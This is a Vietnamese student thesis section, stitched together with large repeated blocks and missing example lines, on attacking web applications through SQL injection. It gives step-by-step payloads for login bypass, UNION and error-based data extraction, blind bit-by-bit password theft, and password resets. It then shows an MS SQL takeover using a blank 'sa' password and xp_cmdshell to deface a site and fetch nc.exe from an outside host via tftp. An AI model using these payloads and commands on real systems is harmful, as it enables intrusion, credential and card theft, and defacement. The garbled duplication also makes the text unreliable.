SVTT: Hoàng Minh Tuấn
2.7.3.1 Một số lỗi thường gặp và một vài phương pháp tấn công phổ biến
Như đã giới thiệu ở ví dụ trên, những bước ban đầu của SQL Injection sử dụng phương pháp này khi mà những người lập trình ứng dụng chưa để ý đến những lỗ hổng đến từ các câu truy vấn SQL.
Sự phát hiện lỗi này cũng thật ngẫu nhiên, ban đầu, nếu sử dụng một câu truy vấn tìm thông tin về tác giả tên là Wiley thì câu truy vấn sẽ là:
SELECT author,title,year FROM books WHERE publisher = ‘Wiley’
Và khi tìm các thông tin về tác giả O’Henry, thì câu truy vấn sẽ là:
SELECT author,title,year FROM books WHERE publisher = ‘ O’Henry’
Thật ngẫu nhiên, câu truy vấn sẽ chỉ lấy kí tự O và xem Henry’ như là một câu truy vấn sai đến cơ sở dữ liệu và sẽ xuất ra lỗi là:
Incorrect syntax near ‘Reilly’.
Server: Msg 105, Level 15, State 1, Line 1
Unclosed quotation mark before the character string ‘
Chính điều này đã vô tình tạo nên những bước đầu cho phương pháp tấn công SQL Injection.
Xét ví dụ:
Nếu nhập vào
Thì câu SQL sẽ trở thành:
Và ngay lập tức , Ms.SQL báo lỗi và gửi trả về màn hình trang web:
Làm một phép toán đơn giản để tìm các giá trị bằng nhau so với con số gốc. Ví dụ, nếu giá trị gốc là 2 thì có thể thay thế bằng 1 + 1 hoặc 3 -1. Nếu như ứng dụng web trả lời với cùng một kết quả, nó có thể có lỗ hổng.
Phương pháp kiểm tra trên là phương pháp đáng tin cậy nhất để kiểm tra các phản ứng của ứng dụng Web. Ví dụ, nếu ứng dụng sử dụng số cho tham số PageID để chỉ ra kết quả tìm kiếm được trả về, hãy thử phép toán 1+1 nếu nhận được kết quả trả về là 2 và nếu kết quả nhận được không thay đổi thì đó là một trong những dấu hiệu nhận biết Web site có thể đã bị nhiễm SQL Injection. Nếu như có thể thêm vào các kí tự bất thường mà các ứng dụng web vẫn không xuất ra các lỗi thì thao tác kiểm tra vừa rồi không cho thấy được sẽ có lỗ hổng trên hệ thống.
Khi đã kiểm tra thành công, có thể dò tìm lỗi nhiều hơn bằng các hàm phức tạp hơn sử dụng cú pháp và các từ khóa của ngôn ngữ SQL. Một trong những phương pháp hay để thực hiện bước này là dùng các câu lệnh về ASCII, sẽ trả về số của các kí tự ASCII. Ví dụ, mã ASCII của A là 65 thì kết quả trong ngôn ngữ SQL sẽ bằng 2:
67-ASCII(‘A’)
Cách kiểm tra trên sẽ không thực hiện được nếu dấu nháy bị lọc bỏ đi, tuy nhiên trong trường hợp này có thể khai thác được lỗ hổng là cơ sở dữ liệu sẽ phải chuyển dữ liệu từ số sang dữ liệu chuỗi. Do mã của 1 trong ASCII là 49 nên kết quả của phép toán sau sẽ bằng 2 trong ngôn ngữ SQL:
51-ASCII(1)
Một lỗi phổ biến nữa khi lập trình ứng dụng là quên kiểm tra các kí tự đặc biệt và có ý nghĩa trong HTTP Request. Nếu sử dụng những kí tự này để tấn công, cần cẩn thận với việc mã hóa URL để đảm bảo rằng sẽ nhận được kết quả như ý muốn. Một số kí tự đặc biệt sau:
& và = được dùng để nối tên/giá trị thành cặp để tạo thành chuỗi truy vấn và khối dữ liệu POST. Nên mã hóa bằng cách sử dụng %26 và %3d.
Các khoảng trống không được cho phép trong câu truy vấn, và nếu được chấp nhận thì toàn bộ câu truy vấn sẽ vô nghĩa. Nên mã hóa bằng cách sử dụng + và %20.
Kí tự + được dùng để mã hóa khoảng trắng, do đó, khi muốn sử dụng kí tự + trong chuỗi, thì cần phải mã hóa nó bằng %2b. Trong ví dụ trước, thì 1+1 sẽ được mã hóa thành 1%2b1.
Dấu chấm phẩy được dùng để ngăn các trường cookie, và cần được mã hóa bằng cách sử dụng %3.
Những cách mã hóa trên là rất cần thiết ngay cả khi chỉnh sửa tham số trực tiếp từ trình duyệt, với một proxy ngăn chặn, hoặc để đi xuyên qua các phương pháp ngăn chặn tấn công khác. Nếu mã hóa sai các kí tự đặc biệt, có thể không nhận được yêu cầu cần thiết hoặc nhận được một yêu cầu sai.
Sử dụng các lỗ hổng của lập trình, dùng câu lệnh SELECT để lấy các thông tin cần thiết từ cơ sở dữ liệu bị tấn công.
Xét ví dụ về các câu truy vấn sau, tấn công để kiểm tra giá trị true hay false trong câu truy vấn sẽ sử dụng OR 17=17 để có giá trị luôn luôn là true và OR 17=37 để có giá trị false. Nếu câu truy vấn được xử lý thì câu truy vấn đó có thể được “tiêm” vào, giá trị true và false sẽ nhận được các kết quả trả lời khác nhau từ hệ thống. Điểm mấu chốt là $post_ID là một tham số tạo ran guy cơ. Câu truy vấn count ở dòng hai và ba phải đúng; câu truy vấn hạn chế lệnh SELECT tới mọi comments với comment_post_ID là 195 ( vế OR 17=37 sẽ trả về giá trị false, kết quả sẽ chuyển về 195). Ở câu truy vấn count thứ tư sẽ hay hơn, bởi vì câu lệnh SELECT sẽ được gọi cho tất cả comment vì 195 OR 17=17 sẽ đạt được giá trị true. Nói cách khác, câu truy vấn cuối cùng sẽ SELECT mọi comment có comment_post_ID là true, sẽ phù hợp với mọi comment( hoặc hầu hết các comment phụ thuộc vào sự hiện diện của giá trị NULL trong cơ sở dữ liệu). Các câu truy vấn lần lượt như sau:
Bằng kĩ thuật tấn công time-delay, attacker tạo một câu truy vấn SQL lấy ra một bit thông tin tại một thời điểm. Kĩ thuật dựa trên thời gian có thể delay request trong 30 giây nếu bit đó là 1 và trả về ngay giá trị nếu bit đó là 0. Biểu thức Boolean và các biểu thức toán học thường ngầm hiểu một mệnh đề là true nếu như bit đó là 1, và false nếu bit đó là 0. Ví dụ dưới sẽ mô tả cụ thể hơn, số gạch dưới đại diện cho vị trí bit, đang được kiểm tra:
Công việc dò tìm bằng tay khá tẻ nhạt, do đó, cũng đã có một vài tool giúp phát hiện lỗi SQL Injection, một trong số đó là Sqlmap( http://sqlmap.sourceforge.net/)
Sử dụng các thông báo lỗi của ODBC, lỗi này chỉ được thực hiện với IIS Server có sử dụng ASP. ASP hiện đang chiếm 35% các ứng dụng thương mại web. Xét ví dụ, tấn công trang:
nhập vào sau đó câu truy vấn:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—
thì cơ sở dữ liệu sẽ thông báo lỗi:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line
Đây là một lỗ hổng bảo mật rất lớn, vì vô tình, cơ sở dữ liệu đã để lộ ra thông tin trong cơ sở dữ liệu đó là bảng logintable. Tiến hành dò với thông tin vừa có được bằng câu lệnh sau:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'—
sẽ xuất hiện thông báo lỗi:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5
Thông tin về một bột có tên là login_name đã bị đưa ra. Kết hợp các kết quả thu được và tiến hành tìm kiếm tiếp
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable—
thì thông báo lỗi sẽ là
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Rahul' to a column of data type int. /index.asp, line 5
Nhận được một ID có tên là Rahul
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'—
tiếp tục dò tìm thì sẽ tìm được password của user Rahul
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'P455w0rd' to a column of data type int. /index.asp, line 5
Dùng để chèn thêm các data mới vào. Thường được sử dụng phổ biến khi một ứng dụng thêm vào một mục trong audit log, tạo user account mới, hoặc tạo hóa đơn mới. Attacker có thể từ đó tạo ra một user mới với quyền admin dễ dàng.
Khi INSERT, có thể không biết có bao nhiêu tham số cần thiết, khi đó có thể mò từ từ.
UPDATE được sử dụng để thay đổi thông tin trong cơ sở dữ liệu. Xét câu truy vấn dùng để thay đổi password sau:
UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’ and password = ‘secret’
Câu truy vấn này xác nhận nếu password của user là đúng thì sẽ thay thế bằng một password mới. Nếu hàm UPDATE nhiễm SQL Injection thì attacker có thể vượt qua được giai đoạn kiểm tra mật khẩu và reset hoàn toàn password
UPDATE users SET password=’newsecret’ WHERE user = ‘admin’ or 1=1
Dùng để xóa thông tin trong cơ sở dữ liệu. Ví dụ, xóa mặt hàng khỏi danh sách bán hàng hay xóa địa chỉ gửi hàng,…
Hàm DELETE rất nguy hiểm, khi xóa phải những dữ liệu quan trọng trong cơ sở dữ liệu.
Những người thiết kết MS SQL tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp cho webdesigner linh động hơn. Các thủ tục này không có gì khác mà chính là các lớp hàm, được dùng để thực hiện những nhiệm vụ nào đó dựa trên các biến được truyền cho chúng. Chính những thủ tục này rất quan trọng đối với hacker, 1 số trong đó gồm:
sp_passsword -> đổi password cho 1 tên truy cập (login name) nào đó
VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’
sp_tables -> hiển thị tất cả table trong database hiện tại
VD: EXEC sp_tables
xp_cmdshell -> cho phép chạy câu lệnh bất kỳ lền server với quyền admin của database ( cái này quan trọng nhất, vì thông thường database được cài mặc định với quyền root )
xp_msver -> hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng.
xp_regdeletekey -> xoá một key trong registry của windows
xp_regdeletevalue -> xoá một giá trị trong registry
xp_regread -> in 1 giá trị trong registry lên màn hình
xp_regwrite -> gán 1 giá trị mới cho 1 key
xp_terminate_process -> ngừng một process nào đó
Đây là một số các lệnh quan trọng. Thật ra có hơn 50 loại thủ tục như thế. Nếu muốn database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng cách mở Master database dùng chương trình MS SQL Server Enterprise Manager. Mở folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn chuột phải và chọn delete
Lưu ý:"Master" là một database quan trọng của SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn. Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn. Ngoài "Master" db ra còn có "Syslogins" là table hệ thống mặc định chứ tất cả username và password để login vào db ( user của db khác user của ứng dụng web ). Điều nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là "sa" với password "" ( không có pass )
Tiếp theo là cách hack db. Đầu tiên, cần tìm ra một server bị lỗi. Download một chương trình scan port và scan một dãy IP để tìm IP có port 1433 hoặc 1434 ( tcp hay udp ) mở. Đây là port dùng bởi MS SQL server. Ngoài ra port của Oracle server là 1512. VD như chúng ta tìm được một server có ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng telnet hoặc netcat tới port 1433/1434. Ngoài ra có thể dùng một tool tên là osql.exe được kèm theo với các SQL server 2000. Mở DOS prompt và type vào:
Đây là help file cho osql. Tiếp tục:
C:\> osql.exe –S 198.188.178.1 –U sa –P “”
Nếu nhận được dấu nhắc
1>
có nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user "sa"
Tới đây nếu muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần dùng thủ tục "xp_cmdshell" như sau:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’”
Ở đây, nên dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi câu lệnh được thực hiện. Tương tự, có thể chạy bất cứ một câu lệnh nào lên server. Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục access vào server sau này. Cũng có thể dùng “information_schema.tables” để lấy list các tables và nội dung của chúng bằng cách:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables”
Kiếm thông tin login trong các table như login, accounts, users ...
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”
và lấy thông tin về username cùng với credit card.
Có thể deface website bằng cách chạy lệnh sau ( chỉ trong trường hợp database server được install chung với webserver )
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by hack> C:\inetpub\wwwroot\index.html’”
Upload file lên server dùng tftp:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’”
Để download một file nào đó, có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện trên server chứ không fải ở máy tấn công. Nếu ta dùng GET, câu lệnh sẽ thực hiện trên server và sẽ download nc.exe từ máy tấn công tới server.
2.7.3Khai thác lỗ hổng
2.7.3.1 Một số lỗi thường gặp và một vài phương pháp tấn công phổ biến
- Dùng cổng 80 HTTP
- Tấn công vượt qua kiểm tra đăng nhập
- Tấn công dựa trên chuỗi
Như đã giới thiệu ở ví dụ trên, những bước ban đầu của SQL Injection sử dụng phương pháp này khi mà những người lập trình ứng dụng chưa để ý đến những lỗ hổng đến từ các câu truy vấn SQL.
Sự phát hiện lỗi này cũng thật ngẫu nhiên, ban đầu, nếu sử dụng một câu truy vấn tìm thông tin về tác giả tên là Wiley thì câu truy vấn sẽ là:
SELECT author,title,year FROM books WHERE publisher = ‘Wiley’
Và khi tìm các thông tin về tác giả O’Henry, thì câu truy vấn sẽ là:
SELECT author,title,year FROM books WHERE publisher = ‘ O’Henry’
Thật ngẫu nhiên, câu truy vấn sẽ chỉ lấy kí tự O và xem Henry’ như là một câu truy vấn sai đến cơ sở dữ liệu và sẽ xuất ra lỗi là:
Incorrect syntax near ‘Reilly’.
Server: Msg 105, Level 15, State 1, Line 1
Unclosed quotation mark before the character string ‘
Chính điều này đã vô tình tạo nên những bước đầu cho phương pháp tấn công SQL Injection.
Xét ví dụ:
Nếu nhập vào
Username: ' having 1=1 ---
Password: [Anything]
Password: [Anything]
select userName from users where userName='' having 1=1
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 16
Điểm mấu chốt ở đây là Ms.SQL đã để lộ 2 thông tin cho người dùng vô danh (ở đây đang thử khai thác lỗi SQL Injection) là tên của một Field và tên của Table mà chúng ta đang muốn xâm nhập, field "users.userName". Sử dụng tên có được này chúng ta dùng cú pháp LIKE :
Username: ' or users.userName like 'a%' ---
Password: [Anything]
thì câu SQL sẽ trở thành:
select userName from users where userName='' or
users.userName like 'a%' --' and userPass=''
Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 16
Điểm mấu chốt ở đây là Ms.SQL đã để lộ 2 thông tin cho người dùng vô danh (ở đây đang thử khai thác lỗi SQL Injection) là tên của một Field và tên của Table mà chúng ta đang muốn xâm nhập, field "users.userName". Sử dụng tên có được này chúng ta dùng cú pháp LIKE :
Username: ' or users.userName like 'a%' ---
Password: [Anything]
thì câu SQL sẽ trở thành:
select userName from users where userName='' or
users.userName like 'a%' --' and userPass=''
Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin
- Tấn công dựa vào các con số
Làm một phép toán đơn giản để tìm các giá trị bằng nhau so với con số gốc. Ví dụ, nếu giá trị gốc là 2 thì có thể thay thế bằng 1 + 1 hoặc 3 -1. Nếu như ứng dụng web trả lời với cùng một kết quả, nó có thể có lỗ hổng.
Phương pháp kiểm tra trên là phương pháp đáng tin cậy nhất để kiểm tra các phản ứng của ứng dụng Web. Ví dụ, nếu ứng dụng sử dụng số cho tham số PageID để chỉ ra kết quả tìm kiếm được trả về, hãy thử phép toán 1+1 nếu nhận được kết quả trả về là 2 và nếu kết quả nhận được không thay đổi thì đó là một trong những dấu hiệu nhận biết Web site có thể đã bị nhiễm SQL Injection. Nếu như có thể thêm vào các kí tự bất thường mà các ứng dụng web vẫn không xuất ra các lỗi thì thao tác kiểm tra vừa rồi không cho thấy được sẽ có lỗ hổng trên hệ thống.
Khi đã kiểm tra thành công, có thể dò tìm lỗi nhiều hơn bằng các hàm phức tạp hơn sử dụng cú pháp và các từ khóa của ngôn ngữ SQL. Một trong những phương pháp hay để thực hiện bước này là dùng các câu lệnh về ASCII, sẽ trả về số của các kí tự ASCII. Ví dụ, mã ASCII của A là 65 thì kết quả trong ngôn ngữ SQL sẽ bằng 2:
67-ASCII(‘A’)
Cách kiểm tra trên sẽ không thực hiện được nếu dấu nháy bị lọc bỏ đi, tuy nhiên trong trường hợp này có thể khai thác được lỗ hổng là cơ sở dữ liệu sẽ phải chuyển dữ liệu từ số sang dữ liệu chuỗi. Do mã của 1 trong ASCII là 49 nên kết quả của phép toán sau sẽ bằng 2 trong ngôn ngữ SQL:
51-ASCII(1)
Một lỗi phổ biến nữa khi lập trình ứng dụng là quên kiểm tra các kí tự đặc biệt và có ý nghĩa trong HTTP Request. Nếu sử dụng những kí tự này để tấn công, cần cẩn thận với việc mã hóa URL để đảm bảo rằng sẽ nhận được kết quả như ý muốn. Một số kí tự đặc biệt sau:
& và = được dùng để nối tên/giá trị thành cặp để tạo thành chuỗi truy vấn và khối dữ liệu POST. Nên mã hóa bằng cách sử dụng %26 và %3d.
Các khoảng trống không được cho phép trong câu truy vấn, và nếu được chấp nhận thì toàn bộ câu truy vấn sẽ vô nghĩa. Nên mã hóa bằng cách sử dụng + và %20.
Kí tự + được dùng để mã hóa khoảng trắng, do đó, khi muốn sử dụng kí tự + trong chuỗi, thì cần phải mã hóa nó bằng %2b. Trong ví dụ trước, thì 1+1 sẽ được mã hóa thành 1%2b1.
Dấu chấm phẩy được dùng để ngăn các trường cookie, và cần được mã hóa bằng cách sử dụng %3.
Những cách mã hóa trên là rất cần thiết ngay cả khi chỉnh sửa tham số trực tiếp từ trình duyệt, với một proxy ngăn chặn, hoặc để đi xuyên qua các phương pháp ngăn chặn tấn công khác. Nếu mã hóa sai các kí tự đặc biệt, có thể không nhận được yêu cầu cần thiết hoặc nhận được một yêu cầu sai.
- Tấn công sử dụng câu lệnh SELECT
Sử dụng các lỗ hổng của lập trình, dùng câu lệnh SELECT để lấy các thông tin cần thiết từ cơ sở dữ liệu bị tấn công.
Xét ví dụ về các câu truy vấn sau, tấn công để kiểm tra giá trị true hay false trong câu truy vấn sẽ sử dụng OR 17=17 để có giá trị luôn luôn là true và OR 17=37 để có giá trị false. Nếu câu truy vấn được xử lý thì câu truy vấn đó có thể được “tiêm” vào, giá trị true và false sẽ nhận được các kết quả trả lời khác nhau từ hệ thống. Điểm mấu chốt là $post_ID là một tham số tạo ran guy cơ. Câu truy vấn count ở dòng hai và ba phải đúng; câu truy vấn hạn chế lệnh SELECT tới mọi comments với comment_post_ID là 195 ( vế OR 17=37 sẽ trả về giá trị false, kết quả sẽ chuyển về 195). Ở câu truy vấn count thứ tư sẽ hay hơn, bởi vì câu lệnh SELECT sẽ được gọi cho tất cả comment vì 195 OR 17=17 sẽ đạt được giá trị true. Nói cách khác, câu truy vấn cuối cùng sẽ SELECT mọi comment có comment_post_ID là true, sẽ phù hợp với mọi comment( hoặc hầu hết các comment phụ thuộc vào sự hiện diện của giá trị NULL trong cơ sở dữ liệu). Các câu truy vấn lần lượt như sau:
SELECT count(*) FROM comments WHERE comment_post_ID = $post_ID
SELECT count (*) FROM comments WHERE comment_post_ID = 195
SELECT count(*) FROM comments WHERE comment_post_ID = 195 OR 17=37
SELECT count(*) FROM comments WHERE comment_post_ID = 195 OR 17=17
SELECT count(*) FROM comments WHERE comment_post_ID = 1 +(SELECT 194)
SELECT count (*) FROM comments WHERE comment_post_ID = 195
SELECT count(*) FROM comments WHERE comment_post_ID = 195 OR 17=37
SELECT count(*) FROM comments WHERE comment_post_ID = 195 OR 17=17
SELECT count(*) FROM comments WHERE comment_post_ID = 1 +(SELECT 194)
SELECT 1 FROM 'a' & 1
SELECT 2 FROM 'a' & 2
SELECT 64 FROM 'a' & 64
… AND 1 IN ( SELECT CONVERT(INT,SUBSTRING(password,1,1) & 1 FROM
master.dbo.sysxlogins WHERE name LIKE 0x73006100)
… AND 2 IN ( SELECT CONVERT(INT,SUBSTRING(password,1,1) & 2 FROM
master.dbo.sysxlogins WHERE name LIKE 0x73006100)
… AND 4 IN (SELECT ASCII(SUBSTRING(DB_NAME(0),1,1)) & 4)
SELECT 2 FROM 'a' & 2
SELECT 64 FROM 'a' & 64
… AND 1 IN ( SELECT CONVERT(INT,SUBSTRING(password,1,1) & 1 FROM
master.dbo.sysxlogins WHERE name LIKE 0x73006100)
… AND 2 IN ( SELECT CONVERT(INT,SUBSTRING(password,1,1) & 2 FROM
master.dbo.sysxlogins WHERE name LIKE 0x73006100)
… AND 4 IN (SELECT ASCII(SUBSTRING(DB_NAME(0),1,1)) & 4)
Sử dụng các thông báo lỗi của ODBC, lỗi này chỉ được thực hiện với IIS Server có sử dụng ASP. ASP hiện đang chiếm 35% các ứng dụng thương mại web. Xét ví dụ, tấn công trang:
nhập vào sau đó câu truy vấn:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—
thì cơ sở dữ liệu sẽ thông báo lỗi:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line
Đây là một lỗ hổng bảo mật rất lớn, vì vô tình, cơ sở dữ liệu đã để lộ ra thông tin trong cơ sở dữ liệu đó là bảng logintable. Tiến hành dò với thông tin vừa có được bằng câu lệnh sau:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'—
sẽ xuất hiện thông báo lỗi:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5
Thông tin về một bột có tên là login_name đã bị đưa ra. Kết hợp các kết quả thu được và tiến hành tìm kiếm tiếp
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable—
thì thông báo lỗi sẽ là
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Rahul' to a column of data type int. /index.asp, line 5
Nhận được một ID có tên là Rahul
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'—
tiếp tục dò tìm thì sẽ tìm được password của user Rahul
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'P455w0rd' to a column of data type int. /index.asp, line 5
- Tấn công sử dụng câu lệnh INSERT
Dùng để chèn thêm các data mới vào. Thường được sử dụng phổ biến khi một ứng dụng thêm vào một mục trong audit log, tạo user account mới, hoặc tạo hóa đơn mới. Attacker có thể từ đó tạo ra một user mới với quyền admin dễ dàng.
Khi INSERT, có thể không biết có bao nhiêu tham số cần thiết, khi đó có thể mò từ từ.
- Tấn công sử dụng câu lệnh UPDATE
UPDATE được sử dụng để thay đổi thông tin trong cơ sở dữ liệu. Xét câu truy vấn dùng để thay đổi password sau:
UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’ and password = ‘secret’
Câu truy vấn này xác nhận nếu password của user là đúng thì sẽ thay thế bằng một password mới. Nếu hàm UPDATE nhiễm SQL Injection thì attacker có thể vượt qua được giai đoạn kiểm tra mật khẩu và reset hoàn toàn password
UPDATE users SET password=’newsecret’ WHERE user = ‘admin’ or 1=1
- Tấn công sử dụng câu lệnh DELETE
Dùng để xóa thông tin trong cơ sở dữ liệu. Ví dụ, xóa mặt hàng khỏi danh sách bán hàng hay xóa địa chỉ gửi hàng,…
Hàm DELETE rất nguy hiểm, khi xóa phải những dữ liệu quan trọng trong cơ sở dữ liệu.
- Dùng MS SQL cổng 1434
Những người thiết kết MS SQL tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp cho webdesigner linh động hơn. Các thủ tục này không có gì khác mà chính là các lớp hàm, được dùng để thực hiện những nhiệm vụ nào đó dựa trên các biến được truyền cho chúng. Chính những thủ tục này rất quan trọng đối với hacker, 1 số trong đó gồm:
sp_passsword -> đổi password cho 1 tên truy cập (login name) nào đó
VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’
sp_tables -> hiển thị tất cả table trong database hiện tại
VD: EXEC sp_tables
xp_cmdshell -> cho phép chạy câu lệnh bất kỳ lền server với quyền admin của database ( cái này quan trọng nhất, vì thông thường database được cài mặc định với quyền root )
xp_msver -> hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng.
xp_regdeletekey -> xoá một key trong registry của windows
xp_regdeletevalue -> xoá một giá trị trong registry
xp_regread -> in 1 giá trị trong registry lên màn hình
xp_regwrite -> gán 1 giá trị mới cho 1 key
xp_terminate_process -> ngừng một process nào đó
Đây là một số các lệnh quan trọng. Thật ra có hơn 50 loại thủ tục như thế. Nếu muốn database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng cách mở Master database dùng chương trình MS SQL Server Enterprise Manager. Mở folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn chuột phải và chọn delete
Lưu ý:"Master" là một database quan trọng của SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn. Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn. Ngoài "Master" db ra còn có "Syslogins" là table hệ thống mặc định chứ tất cả username và password để login vào db ( user của db khác user của ứng dụng web ). Điều nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là "sa" với password "" ( không có pass )
Tiếp theo là cách hack db. Đầu tiên, cần tìm ra một server bị lỗi. Download một chương trình scan port và scan một dãy IP để tìm IP có port 1433 hoặc 1434 ( tcp hay udp ) mở. Đây là port dùng bởi MS SQL server. Ngoài ra port của Oracle server là 1512. VD như chúng ta tìm được một server có ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng telnet hoặc netcat tới port 1433/1434. Ngoài ra có thể dùng một tool tên là osql.exe được kèm theo với các SQL server 2000. Mở DOS prompt và type vào:
C:>osql.exe -?
osql: unknown option ?
usage: osql [-U login id] [-P password]
[-S server] [-H hostname] [-E trusted connection]
[-d use database name] [-l login timeout] [-t query timeout]
[-h headers] [-s colseparator] [-w columnwidth]
[-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
[-L list servers] [-c cmdend]
[-q "cmdline query"] [-Q "cmdline query" and exit]
[-n remove numbering] [-m errorlevel]
[-r msgs to stderr] [-V severitylevel]
[-i inputfile] [-o outputfile]
[-p print statistics] [-b On error batch abort]
[-O use Old ISQL behavior disables the following]
<EOF> batch processing
Auto console width scaling
Wide messages
default errorlevel is -1 vs 1
[-? show syntax summary]
osql: unknown option ?
usage: osql [-U login id] [-P password]
[-S server] [-H hostname] [-E trusted connection]
[-d use database name] [-l login timeout] [-t query timeout]
[-h headers] [-s colseparator] [-w columnwidth]
[-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
[-L list servers] [-c cmdend]
[-q "cmdline query"] [-Q "cmdline query" and exit]
[-n remove numbering] [-m errorlevel]
[-r msgs to stderr] [-V severitylevel]
[-i inputfile] [-o outputfile]
[-p print statistics] [-b On error batch abort]
[-O use Old ISQL behavior disables the following]
<EOF> batch processing
Auto console width scaling
Wide messages
default errorlevel is -1 vs 1
[-? show syntax summary]
C:\> osql.exe –S 198.188.178.1 –U sa –P “”
Nếu nhận được dấu nhắc
1>
có nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user "sa"
Tới đây nếu muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần dùng thủ tục "xp_cmdshell" như sau:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’”
Ở đây, nên dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi câu lệnh được thực hiện. Tương tự, có thể chạy bất cứ một câu lệnh nào lên server. Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục access vào server sau này. Cũng có thể dùng “information_schema.tables” để lấy list các tables và nội dung của chúng bằng cách:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables”
Kiếm thông tin login trong các table như login, accounts, users ...
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”
và lấy thông tin về username cùng với credit card.
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users”
Output:
Username creditcard expdate
----------- ------------ ----------
Jack 5935023473209871 2004-10-03 00:00:00.000
Jill 5839203921948323 2004-07-02 00:00:00.000
Micheal 5732009850338493 2004-08-07 00:00:00.000
Ronak 5738203981300410 2004-03-02 00:00:00.000
Output:
Username creditcard expdate
----------- ------------ ----------
Jack 5935023473209871 2004-10-03 00:00:00.000
Jill 5839203921948323 2004-07-02 00:00:00.000
Micheal 5732009850338493 2004-08-07 00:00:00.000
Ronak 5738203981300410 2004-03-02 00:00:00.000
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by hack> C:\inetpub\wwwroot\index.html’”
Upload file lên server dùng tftp:
